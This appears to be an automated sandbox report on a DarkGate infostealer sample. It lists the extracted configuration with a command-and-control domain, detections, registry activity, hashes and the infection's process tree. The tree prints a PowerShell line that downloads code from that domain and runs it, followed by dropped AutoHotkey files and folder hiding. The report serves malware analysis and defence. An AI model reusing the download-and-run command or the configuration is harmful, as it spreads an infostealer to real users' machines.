darkgate | 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005

Resubmissions

23-08-2024 12:49

240823-p2d5waxcrk 9

27-03-2024 08:31

240327-ke3gqsbe2w 10

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27-03-2024 08:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html
Size

3KB
MD5

ace67f099683c4360f442c58da66aeba
SHA1

2b90f1398b79331e8f853ddb004dcc87a1daf540
SHA256

196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
SHA512

02e2465e10ee581b04896dd77ee906542786b7662071befa9b6c07fca00862be063516030045fb29fdec1a68108aaf93cc30db24cd329776b1d316c9d7ca7073

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

withupdate.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VqunyHFY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral2/memory/3264-593-0x0000000003200000-0x0000000003273000-memory.dmp	family_darkgate_v6
behavioral2/memory/1364-594-0x00000000031F0000-0x0000000003263000-memory.dmp	family_darkgate_v6
behavioral2/memory/1364-598-0x00000000031F0000-0x0000000003263000-memory.dmp	family_darkgate_v6
behavioral2/memory/3264-599-0x0000000003200000-0x0000000003273000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 8 IoCs

flow	pid	Process
81	2020	powershell.exe
83	2020	powershell.exe
91	2020	powershell.exe
95	5796	powershell.exe
96	5796	powershell.exe
100	5796	powershell.exe
101	5796	powershell.exe
102	2020	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
3264	AutoHotkey.exe
1364	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\CachedOfflineAvailable = "0"	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f580d1a2cf021be504388b07367fc96ef3c0000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = bf000000b900bbaf933bab000400000000002d000000315350537343e50abe43ad4f85e469dc8633986e110000000b000000000b000000ffff0000000000004d0000003153505330f125b7ef471a10a5f102608c9eebac310000000a000000001f0000000f0000003100370030002e003100330030002e00350035002e0031003300300000000000000000002d000000315350533aa4bddeb337834391e74498da2995ab1100000003000000001300000000000000000000000000000000000000	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\CachedOfflineAvailableTime = "240618031"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 3100c301c55c5c3137302e3133302e35352e3133305c7368617265004d6963726f736f6674204e6574776f726b000002000000	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	msedge.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
528	msedge.exe
528	msedge.exe
3516	msedge.exe
3516	msedge.exe
4416	identity_helper.exe
4416	identity_helper.exe
2020	powershell.exe
2020	powershell.exe
2020	powershell.exe
5796	powershell.exe
5796	powershell.exe
5796	powershell.exe
828	sdiagnhost.exe
828	sdiagnhost.exe
884	msedge.exe
884	msedge.exe
884	msedge.exe
884	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeDebugPrivilege	5796	powershell.exe
Token: SeDebugPrivilege	828	sdiagnhost.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
2604	msdt.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 3688	3516	msedge.exe	89
PID 3516 wrote to memory of 3688	3516	msedge.exe	89
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 1604	3516	msedge.exe	90
PID 3516 wrote to memory of 528	3516	msedge.exe	91
PID 3516 wrote to memory of 528	3516	msedge.exe	91
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92
PID 3516 wrote to memory of 4052	3516	msedge.exe	92

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5220	attrib.exe
2324	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb6c3f46f8,0x7ffb6c3f4708,0x7ffb6c3f4718
  2⤵
  PID:3688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1920 /prefetch:2
  2⤵
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:4052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1
  2⤵
  PID:3744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3536
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  PID:4316
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
  2⤵
  PID:1016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
  2⤵
  PID:2824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
  2⤵
  PID:1852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:1
  2⤵
  PID:5316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,4444332931234124140,8664869318640436772,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4604 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:884

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1956

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:992

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\N1D00922\Report-26-2024[1].vbs"
1⤵
- Checks computer location settings
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:3264
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:5220

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6Y4OXOYV\Report-26-2024[2].vbs"
1⤵
- Checks computer location settings
PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5796
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:1364
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:2324

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile NetworkDiagnosticsSharing C:\Users\Admin\AppData\Local\Temp\NDFB8DB.tmp
1⤵
PID:3432
- C:\Windows\system32\msdt.exe
  -skip TRUE -path "C:\Windows\diagnostics\system\networking" -af "C:\Users\Admin\AppData\Local\Temp\NDFB8DB.tmp" -ep "NetworkDiagnosticsSharing"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:2604

C:\Windows\System32\sdiagnhost.exe
C:\Windows\System32\sdiagnhost.exe -Embedding
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:828
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter
  2⤵
  PID:5264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\ElevatedDiagnostics\460911090\2024032708.000\NetworkDiagnostics.debugreport.xml

Filesize
6KB

MD5
f46b7c4ef913dfcfcfbc551b81360e36

SHA1
655a6726386c465f11a96375533ab15f589a3b90

SHA256
ca934e1e85a7fae5facd4e62c942532b385de4b783ba8fb94d79bbda8738b73f

SHA512
6eb29258702d487ff09d1e5bfe437b5d64d054f93edc2a1c7c885faf873a6b90148873b172454673e494f2500cc599387627973ee481d782fa8f12e94e2a7d41

Download Submit
C:\Users\Admin\AppData\Local\ElevatedDiagnostics\460911090\2024032708.000\results.xsl

Filesize
47KB

MD5
310e1da2344ba6ca96666fb639840ea9

SHA1
e8694edf9ee68782aa1de05470b884cc1a0e1ded

SHA256
67401342192babc27e62d4c1e0940409cc3f2bd28f77399e71d245eae8d3f63c

SHA512
62ab361ffea1f0b6ff1cc76c74b8e20c2499d72f3eb0c010d47dba7e6d723f9948dba3397ea26241a1a995cffce2a68cd0aaa1bb8d917dd8f4c8f3729fa6d244

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7740a919423ddc469647f8fdd981324d

SHA1
c1bc3f834507e4940a0b7594e34c4b83bbea7cda

SHA256
bdd4adaa418d40558ab033ac0005fd6c2312d5f1f7fdf8b0e186fe1d65d78221

SHA512
7ad98d5d089808d9a707d577e76e809a223d3007778a672734d0a607c2c3ac5f93bc72adb6e6c7f878a577d3a1e69a16d0cd871eb6f58b8d88e2ea25f77d87b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9f44d6f922f830d04d7463189045a5a3

SHA1
2e9ae7188ab8f88078e83ba7f42a11a2c421cb1c

SHA256
0ae5cf8b49bc34fafe9f86734c8121b631bad52a1424c1dd2caa05781032334a

SHA512
7c1825eaefcc7b97bae31eeff031899300b175222de14000283e296e9b44680c8b3885a4ed5d78fd8dfee93333cd7289347b95a62bf11f751c4ca47772cf987d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4be558cd-51c1-4746-b8da-1f69a3517501.tmp

Filesize
6KB

MD5
c9bf43eb244ff04003b86e6b9a260904

SHA1
9fb1fc780d1ede9cdbc5c9ada7bb8e1c07e3ee1a

SHA256
7518c93d1c351cc1da6c8a0ca568d3353072da435626a0bf990d4b9eda3f10dc

SHA512
70632b82d1114ae78601146b5e0b4877851c8251cb90aeb85a942f20ff3d87b5fd206dd11e6752a86d75c13a842c66d9fc116d4bdbadb117f53e65cf5ed8f02b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
409B

MD5
7ae2f8e388a62207493dbb4324514c45

SHA1
f4e0ca89f07be39ca64c1c6919d8cf3fbf5d4900

SHA256
b7cb42be94b3cae0ca05d9ebb4ca1f93e6f4e8fed9c09118c4cb9f94439ef608

SHA512
8683590383f9aed72f81a61712fc921541a7090988ccbcb0718a9c001b8919de1dd5a6dfa1b266fb7dc14e6afb35658bf5f36f7b54ff2080b7665a84a597f368

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6facd6c3fde5a0ac14dee1559709b143

SHA1
801877b1446e7ba5de6e2851319735d6064887ad

SHA256
42c997297186b3479db3bb58a4c7f9e667246c889b5b88e5de220be9991f3166

SHA512
0def9b8a37b06305abaee53811e99320645cd80e6d29e3cfe6b1250e857419ee69fc3e4fa375f78a35d82febfc2acd89a9d2b7441a1964f868c83c0b11269282

Download Submit
